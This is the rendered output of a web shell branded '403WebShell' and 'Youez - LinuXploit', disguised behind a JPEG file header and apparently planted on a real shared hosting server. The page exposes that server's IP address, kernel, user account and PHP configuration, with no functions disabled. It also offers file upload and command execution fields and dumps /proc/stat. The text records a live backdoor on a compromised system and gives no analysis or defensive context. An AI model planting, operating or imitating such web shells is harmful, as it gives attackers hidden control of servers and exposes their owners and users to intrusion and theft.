����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.145.85.23
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/stat
cpu  33747177418 474238652 7588287758 40664821949 1994915755 0 1071148246 2284702169 0 0
cpu0 1403696341 19725900 315893314 1701338606 83523812 0 39699849 98671742 0 0
cpu1 1397260728 19971609 317772153 1704787671 85526122 0 39285922 99187819 0 0
cpu2 1414497684 19904459 317099786 1695659748 83888971 0 37045196 96290224 0 0
cpu3 1415103371 19956603 316832341 1696218586 84064528 0 36434974 95890386 0 0
cpu4 1417969490 19885555 317478466 1699325228 84239351 0 31015068 95287844 0 0
cpu5 1418841344 19814555 317905882 1696752874 84112330 0 33124796 92426086 0 0
cpu6 1416703111 19861943 317453335 1701671756 84250989 0 30515597 94804358 0 0
cpu7 1412415355 19820034 316636755 1696937578 83723000 0 37610364 95404871 0 0
cpu8 1413788682 19771401 316778216 1701321038 83851844 0 34319005 94734622 0 0
cpu9 1413370829 19847058 316526885 1702301761 83813452 0 34155887 94700360 0 0
cpu10 1412926679 19701928 316590325 1702721402 83734779 0 34189685 94458488 0 0
cpu11 1402033671 19790493 320929719 1662024567 81329267 0 77890079 80103248 0 0
cpu12 1411663282 19766690 316347717 1704393049 83657385 0 34016929 94772260 0 0
cpu13 1411183187 19736380 316023023 1705270529 83691669 0 33984465 94471592 0 0
cpu14 1412438419 19739286 315943765 1704583393 83576944 0 33908458 94444548 0 0
cpu15 1411756220 19688581 316055636 1705373167 83523944 0 33897446 94221457 0 0
cpu16 1410441080 19814446 315919364 1706129694 83564594 0 33873438 94555515 0 0
cpu17 1411077016 19839823 315664435 1706514305 83398284 0 33796814 94246506 0 0
cpu18 1409903074 19643620 315799523 1707056114 83509849 0 34340786 95040845 0 0
cpu19 1410204250 19738424 315488182 1707246717 83426613 0 33741798 94682836 0 0
cpu20 1411520796 19776170 316124508 1710047332 83563893 0 29664389 94148778 0 0
cpu21 1293222899 18886795 303154840 1566070594 75436609 0 247161787 91434383 0 0
cpu22 1411864652 19631543 315666060 1710764487 83417652 0 29595194 93975169 0 0
cpu23 1403295246 19925343 318203517 1670311741 78089863 0 27880310 116748220 0 0
intr 131698683575 172 9 0 0 1751 0 0 0 0 0 0 0 15 0 35659725 0 0 0 0 0 0 0 0 0 0 0 4 3054602498 0 987690439 261252862 0 2770939723 2855775692 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 986660470971
btime 1710641441
processes 2465387602
procs_running 92
procs_blocked 0
softirq 203932605558 1 1632497071 188992 4280932157 1269963076 0 2187685536 643921780 27409288 616479337

Youez - 2016 - github.com/yon3zu
LinuXploit